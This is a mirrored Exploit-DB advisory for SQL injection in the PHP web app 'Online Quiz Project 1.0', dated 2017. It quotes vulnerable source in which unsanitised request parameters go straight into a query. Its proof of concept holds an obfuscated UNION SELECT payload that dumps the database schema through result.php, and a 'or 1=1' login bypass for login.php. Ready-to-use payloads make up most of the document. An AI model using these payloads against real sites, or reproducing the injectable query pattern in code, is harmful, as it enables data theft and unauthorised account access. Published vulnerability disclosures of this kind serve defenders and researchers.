Online Quiz Project 1.0 – SQL Injection

• Exploit Database
• 46 阅读

• 作者： Ihsan Sencan
  日期： 2017-08-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42461/

• # # # # #
  # Exploit Title: Online Quiz Project 1.0 - Multiple Vulnerabilities
  # Dork: N/A
  # Date: 17.08.2017
  # Vendor Homepage : http://surajkumar.in/
  # Software Link: http://surajkumar.in/product/online-quiz-project-php/
  # Demo: http://surajkumar.in/
  # Version: 1.0
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Social: @ihsansencan
  # # # # #
  # Description:
  # The vulnerability allows an attacker to inject sql commands...
  # The vulnerability allows an attacker to access the user panel...
  # 
  # Vulnerable Source:
  # # # # #
  # <?php
  # ....1
  # if(isset($_POST['_login'])){
  # $data=array();
  # $data['user']=$_POST['_user'];
  # $data['password']=$_POST['_password'];
  # $userLogin=user_login($data);
  # _t($userLogin);
  # if($userLogin['bool']==fa
  # 
  # ....2
  # $questionData='';
  # if(isset($_GET['cat_id'])){
  # $userData=get_result_by_user($_SESSION['user']['user_id'],$_GET['cat_id']);
  # ....
  # }else{
  # $query=mysqli_query($db,"SELECT * FROM user_answered WHERE user_id='$user_id' AND cat_id='$cat_id'");
  # }
  # ....
  # ?>
  # # # # #
  # 	
  # Proof of Concept:
  # 
  # 1:
  # http://localhost/[PATH]/result.php?cat_id=[SQL]
  # -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529)--+-&docname=0x30783330
  # 
  # 2:
  # http://localhost/[PATH]/login.php
  # User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
  # 
  # Etc...
  # # # # #